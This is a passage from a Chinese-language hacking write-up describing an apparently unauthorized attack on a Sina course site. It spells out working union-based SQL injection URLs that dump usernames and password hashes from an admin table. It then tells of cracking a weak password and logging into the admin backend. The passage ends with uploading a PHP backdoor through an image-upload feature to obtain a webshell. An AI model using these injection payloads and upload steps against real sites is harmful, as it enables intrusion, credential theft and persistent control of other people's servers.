返回错误,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select
1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33 from admin/*
正常返回,说明是存在 admin 这个表的。结合上面猜测到的字段,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select
1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31,32,33 from admin/*
返回结果看到原来 15、16 的地方变成了用户名和密码了,密码加密了哦!
去 md5 的破解网站搜索下,失败了,找不到密码,看来密码够强壮的啊!破解不出密码还是
没用的,试试把中文的用户名作为密码登录,然后再拆分登录,还是不行,简单的社会工程
学失败了!
分析一下,我们提交的这个 union 查询是查询出 admin 的第一条记录的,因为我们没有
做任何的限制条件,既然第一个记录的密码破解不出来,那么其他的记录很可能被破出来哦!
用户越多,弱口令的可能性越大。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select
1,2,3,4,5,6,user(),versin(),9,10,11,12,13,14,username,password,id,18,19,20,21,2
2,23,24,25,26,27,28,29,30,31,32,33 from admin/*
发现没有暴错,并且原来 17 的位置是 3,说明 id 这个字段是存在的,并且是从 3 开始的,
那么一切就简单了。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122%20and%201=2%20union%20sel
ect%201,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,id,18,19,
20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20admin%20where%20id>3/*
这条语句是给查询语句加上限制条件,出来结果。哈哈,又出来一个用户名
和密码了吧!拿它的密码去破解一下,发现是 123123,太好了,果然是个弱口令,如果这
个不行的话,我们可以接着往下找弱口令用户,一定会存在的哦!越是大网站,越有弱口令,是事实,是实践。
九、
剩下的就好办了。去后台用得到的用户名和密码登录成功。后台还真
有不少功能。一个学校图片管理的地方吸引了我,赶紧去看看,发现是有上传的。选择一个
php 后门上传试试,晕!居然没有提示任何错误,去图片管理查看新上传的图片属性就得到
我们的后门地址了。至此,对 sina 关于脚本的小小安全检测结束了,由
于管理员小小的疏忽导致我们成功地拿到 webshell。后台可以更改所有人的密码以及一些
新站的域名信息哦,我不敢动,怕怕!